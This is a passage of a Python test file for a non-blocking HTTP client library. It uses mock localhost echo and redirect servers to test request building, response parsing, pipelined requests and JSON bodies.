b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def mockRedirectingService(server):
"""
mock redirecting echo server service utility function
"""
mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: localhost:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn in (mockMsg, mockMsgLocalhost):
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n'
b'Content-Type: text/plain\r\n'
b'Content-Length: 0\r\n'
b'Access-Control-Allow-Origin: *\r\n'
b'Location: http://localhost:6103/redirect?name=fame\r\n\r\n')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def mockRedirectedService(server):
"""
mock redirected echo server service utility function
"""
mockMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n'
b'Host: localhost:6103\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn == mockMsg:
ixClient.clearRxbs()
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def mockRedirectingServiceTls(server):
"""
mock redirecting echo server service utility function with
redirected location is https tls
"""
mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: localhost:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
server.serviceConnects()
if server.ixes:
server.serviceReceivesAllIx()
ixClient = list(server.ixes.values())[0]
msgIn = bytes(ixClient.rxbs)
if msgIn in (mockMsg,):
ixClient.clearRxbs()
# redirect location is https
msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n'
b'Content-Type: text/plain\r\n'
b'Content-Length: 0\r\n'
b'Access-Control-Allow-Origin: *\r\n'
b'Location: https://localhost:6103/redirect?name=fame\r\n\r\n')
ixClient.tx(msgOut)
msgIn = b''
msgOut = b''
server.serviceSendsAllIx()
def test_client_request_echo():
"""
Test HTTP Client request echo non blocking
"""
with tcp.openServer(port = 6101, bufsize=131072) as alpha:
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
method = u'GET'
path = u'/echo?name=fame'
headers = dict([('Accept', 'application/json')])
with http.openClient(bufsize=131072, hostname=host, port=port, \
method=method, path=path, headers=headers,) as beta:
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# connect Client Beta to Server Alpha
while True:
beta.connector.serviceConnect()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha, beta.connector.ha
# build request
msgOut = beta.requester.rebuild()
assert beta.requester.lines == [
b'GET /echo?name=fame HTTP/1.1',
b'Host: 127.0.0.1:6101',
b'Accept-Encoding: identity',
b'Accept: application/json',
b'',
b'',
]
assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\nAccept-Encoding: '
b'identity\r\nAccept: application/json\r\n\r\n')
assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\nHost: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\nAccept: application/json\r\n\r\n')
beta.connector.tx(msgOut)
while beta.connector.txbs and not ixBeta.rxbs :
beta.connector.serviceSends()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == msgOut
ixBeta.clearRxbs()
# build resonse
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, "query": {"name": "fame"}, "verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", "action": null}')
ixBeta.tx(msgOut)
while ixBeta.txbs or not beta.connector.rxbs:
alpha.serviceSendsAllIx()
time.sleep(0.05)
beta.connector.serviceReceives()
time.sleep(0.05)
msgIn = bytes(beta.connector.rxbs)
assert msgIn == msgOut
while beta.respondent.parser:
beta.respondent.parse()
assert not beta.connector.rxbs
assert list(beta.respondent.headers.items()) == [('Content-Length', '122'),
('Content-Type', 'application/json'),
('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'),
('Server', 'IoBook.local')]
beta.respondent.dictify() # convert JSON data in body
assert beta.respondent.body == (b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", "url'
b'": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
assert beta.respondent.data == {'action': None,
'content': None,
'query': {'name': 'fame'},
'url': 'http://127.0.0.1:8080/echo?name=fame',
'verb': 'GET'}
def test_client_service_echo():
"""
Test Client service echo nonblocking
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
method = u'GET'
path = u'/echo?name=fame'
headers = dict([('Accept', 'application/json')])
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
method=method,
path=path,
headers=headers,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# connect Client Beta to Server Alpha
while True:
beta.connector.serviceConnect()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha, beta.connector.ha
# build request as result of transmit
beta.transmit()
assert beta.requester.lines == [
b'GET /echo?name=fame HTTP/1.1',
b'Host: 127.0.0.1:6101',
b'Accept-Encoding: identity',
b'Accept: application/json',
b'',
b'',
]
assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
msgOut = bytes(beta.connector.txbs) # make copy
assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
while beta.connector.txbs and not ixBeta.rxbs :
beta.service()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == msgOut
ixBeta.clearRxbs()
# build response
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixBeta.tx(msgOut)
while ixBeta.txbs or not beta.respondent.ended:
alpha.serviceSendsAllIx()
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
assert list(beta.respondent.headers.items()) == [('Content-Length', '122'),
('Content-Type', 'application/json'),
('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'),
('Server', 'IoBook.local')]
assert beta.respondent.body == (b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", "url'
b'": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
assert beta.respondent.data == {'action': None,
'content': None,
'query': {'name': 'fame'},
'url': 'http://127.0.0.1:8080/echo?name=fame',
'verb': 'GET'}
alpha.close()
beta.close()
def test_client_pipeline_echo():
"""
Test Client pipeline servicing
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
method = u'GET'
path = u'/echo?name=fame'
headers = dict([('Accept', 'application/json')])
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
method=method,
path=path,
headers=headers,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# connect Client Beta to Server Alpha
while True:
beta.connector.serviceConnect()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha, beta.connector.ha
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs :
beta.service()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
ixBeta.clearRxbs() # ensure no stale stuff in beta rx buffer at Alpha
# build response
msgOut = (b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixBeta.tx(msgOut)
while ixBeta.txbs or not beta.respondent.ended:
alpha.serviceSendsAllIx()
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': {'Content-Length': '122',
'Content-Type': 'application/json',
'Date': 'Thu, 30 Apr 2015 19:37:17 GMT',
'Server': 'IoBook.local'},
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': {'Accept': 'application/json'},
'body': b'',
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
# resend request in pipeline mode
beta.requests.append(request)
while ( beta.requests or beta.connector.txbs) and not ixBeta.rxbs :
beta.service()
time.sleep(0.05)
alpha.serviceReceivesAllIx()
time.sleep(0.05)
msgIn = bytes(ixBeta.rxbs)
assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n'
b'Host: 127.0.0.1:6101\r\n'
b'Accept-Encoding: identity\r\n'
b'Accept: application/json\r\n\r\n')
ixBeta.clearRxbs()
# build response
msgOut =( b'HTTP/1.1 200 OK\r\n'
b'Content-Length: 122\r\n'
b'Content-Type: application/json\r\n'
b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n'
b'Server: IoBook.local\r\n\r\n'
b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}')
ixBeta.tx(msgOut)
while ixBeta.txbs or not beta.respondent.ended:
alpha.serviceSendsAllIx()
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers':
{'Content-Length': '122',
'Content-Type': 'application/json',
'Date': 'Thu, 30 Apr 2015 19:37:17 GMT',
'Server': 'IoBook.local'},
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'action': None,
'content': None,
'query': {'name': 'fame'},
'url': 'http://127.0.0.1:8080/echo?name=fame',
'verb': 'GET'},
'error': None,
'errored': False,
'request': {'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': {'Accept': 'application/json'},
'body': b'',
'data': None,
'fargs': None,
}
}
alpha.close()
beta.close()
def test_client_pipeline_echo_simple():
"""
Test CLient pipeline servicing
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
method = u'GET'
path = u'/echo?name=fame'
headers = dict([('Accept', 'application/json')])
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
method=method,
path=path,
headers=headers,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
# connect Client Beta to Server Alpha
while True:
beta.connector.serviceConnect()
alpha.serviceConnects()
if beta.connector.connected and beta.connector.ca in alpha.ixes:
break
time.sleep(0.05)
assert beta.connector.accepted
assert beta.connector.connected
assert not beta.connector.cutoff
assert beta.connector.ca == beta.connector.cs.getsockname()
assert beta.connector.ha == beta.connector.cs.getpeername()
assert alpha.eha == beta.connector.ha
ixBeta = alpha.ixes[beta.connector.ca]
assert ixBeta.ca is not None
assert ixBeta.cs is not None
assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername()
assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname()
assert ixBeta.ca == beta.connector.ca
assert ixBeta.ha, beta.connector.ha
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.respond() # returns next response from .responses
assert response == clienting.Response(version=(1, 1),
status=200,
reason='OK',
headers=Hict([('Content-Length', '122'),
('Content-Type', 'application/json'),
('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'),
('Server', 'IoBook.local')]),
body=bytearray(b'{"content": null, '
b'"query": {"name": "fame"}, '
b'"verb": "GET", '
b'"url": "http://127.0.0.1:8080/echo?name=fame", '
b'"action": null}'),
data={'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
request={'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
errored=False,
error=None)
# pipeline request to send again
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_echo_simple_host_port_path():
"""
Test Client Simple First time request pattern
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
host = alpha.eha[0]
port = alpha.eha[1]
method = u'GET'
path = u'/echo?name=fame'
headers = dict([('Accept', 'application/json')])
beta = clienting.Client(bufsize=131072,
hostname=host,
port=port,
method=method,
path=path,
headers=headers,
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
beta.transmit()
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'host': '127.0.0.1',
'port': 6101,
'scheme': 'http',
'method': 'GET',
'path': '/echo',
'fragment': '',
'qargs': {'name': 'fame'},
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'data': None,
'fargs': None},
'errored': False,
'error': None}
beta.request(method=u'GET',
path=u'/echo?name=fame',
headers=dict([('Accept', 'application/json')]))
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'data': None,
'fargs': None,
'host': '127.0.0.1',
'port': 6101,
'scheme': 'http'},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_pipline_echo_simple_path_scheme():
"""
Test Client pipeline servicing using path components for host port scheme
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect
# method and headers set in request
beta = clienting.Client(bufsize=131072,
path=path,
reconnectable=True, # do not close connection
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha) # mockEchoServiceLocalhost
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
beta.requests.append(request) # pipeline request
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_pipeline_echo_simple_path_track():
"""
Test Client pipeline servicing using path components for host port scheme
Request includes tracking information that is included in reponses copy
of request
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect
# method and headers set in request
beta = clienting.Client(bufsize=131072,
path=path,
reconnectable=True, # do not close connection
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
request = dict([('method', u'GET'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('body', None),
('mid', 1), # tracking
('drop', '.stuff.reply'), # tracking
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'mid': 1,
'drop': '.stuff.reply',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
request.update(mid=2, drop='.puff.reply')
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoService(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'GET',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json')]),
'body': b'',
'mid': 2,
'drop': '.puff.reply',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'data': None,
'fargs': None},
'errored': False,
'error': None}
alpha.close()
beta.close()
def test_client_pipeline_echo_json():
"""
Test Client pipeline servicing using path components for host port scheme
with json body in data
Request includes tracking information that is included in reponses copy
of request
"""
alpha = tcp.Server(port = 6101, bufsize=131072)
assert alpha.reopen()
assert alpha.ha == ('0.0.0.0', 6101)
assert alpha.eha == ('127.0.0.1', 6101)
path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect
# method and headers set in request
beta = clienting.Client(bufsize=131072,
path=path,
reconnectable=True, # do not close connection
)
assert beta.reopen()
assert not beta.connector.accepted
assert not beta.connector.connected
assert not beta.connector.cutoff
request = dict([('method', u'PUT'),
('path', u'/echo?name=fame'),
('qargs', dict()),
('fragment', u''),
('headers', dict([('Accept', 'application/json')])),
('data', dict([("first", "John"), ("last", "Smith")])),
('mid', 1),
('drop', '.stuff.reply'),
])
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoServiceJson(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]),
'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE'
b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti'
b'on": null}'),
'data': {'content': None,
'query': {'name': 'fame'},
'verb': 'GET',
'url': 'http://127.0.0.1:8080/echo?name=fame',
'action': None},
'request': {'method': 'PUT',
'path': '/echo',
'qargs': {'name': 'fame'},
'fragment': '',
'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]),
'data': {'first': 'John', 'last': 'Smith'},
'mid': 1,
'drop': '.stuff.reply',
'host': 'localhost',
'port': 6101,
'scheme': 'http',
'body': b'',
'fargs': None},
'errored': False,
'error': None}
request.update(mid=2, drop='.puff.reply')
beta.requests.append(request)
while (not alpha.ixes or beta.requests or
beta.connector.txbs or not beta.respondent.ended):
mockEchoServiceJson(alpha)
time.sleep(0.05)
beta.service()
time.sleep(0.05)
assert not beta.connector.rxbs
assert not beta.waited
assert beta.respondent.ended
assert len(beta.responses) == 1
response = beta.responses.popleft()
assert response == {'version': (1, 1),
'status': 200,
'reason': 'OK',
